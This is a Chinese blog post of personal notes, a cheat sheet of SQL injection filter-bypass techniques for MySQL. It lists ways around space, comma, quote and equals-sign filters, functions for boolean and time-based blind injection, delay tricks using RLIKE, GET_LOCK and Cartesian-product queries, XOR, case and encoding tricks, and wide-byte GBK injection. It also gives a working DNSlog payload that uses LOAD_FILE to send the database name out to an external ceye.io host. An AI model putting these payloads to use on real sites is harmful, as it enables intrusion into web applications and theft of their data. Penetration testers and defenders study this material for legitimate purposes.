sql注入总结

把总结的屯到博客上,在本地删掉就尴尬了

1,绕过空格
注释:/* */
括号:()
反引号: //区分MYSQL的保留字与普通字符而引入的符号
%20 %09 %0a %0b %0c %0d %a0 %00

2,绕过逗号
join,联合子查询
limit 0,1 等于limit 0 offset 1

3,单引号
换成16进制

4,盲注

bool型?/(截取字符的时候逗号可由from for代替)
**截取字符串函数:
Length(database())函数 返回字符串的长度
left(被截取字符串, 截取长度)
right(被截取字符串, 截取长度)
substring(被截取字符串,从第几位开始截取,截取长度)
substring_index(被截取字符串,关键字,关键字出现的次数)
mid()
Substr()截取字符串
Ascii()返回字符的ascii码
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

时间型:(理论上只要可以延缓数据库执行的时间就可以)
**时间函数
sleep(),banchmark()返回服务器执行表达式的时间
get_lock()///select get_lock(‘test’,1); select get_lock(‘test’,5);
RLIKE ///select rpad(‘a’,4999999,‘a’) RLIKE concat(repeat(’(a.*)+’,30),‘b’);
通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。

笛卡尔积 //SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
原理:笛卡尔积就是集合的乘法,而在数据库中,表的连接操作符合笛卡尔积
在这里插入图片描述
在这里插入图片描述
可以看到,每一次对自身表的连接,就是多一个次方,通过加大数据库的执行操作,加大时间,从而完成时间性注入。
dnslog:
1’ and if((SELECT LOAD_FILE(CONCAT(’\\’,(SELECT database()),’.zrbu5k.ceye.io\abc’))),1,1)#;
原理:首先在数据库中执行语句,然后load_file语句会发送请求,请求经过dns服务器,然后在dns服务器中查看日志
因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的
*
二分法:
算法加快查找速度
5,XOR
使用^(异或)
6,等于号
regexp正则,like,in,rlike,<,>
7,
大小写
内联注释
双关键字
编码//如URLEncode编码,ASCII,HEX,unicode编码绕过
8,宽字节
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字
9,巧
过滤了<,se<lect=select

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值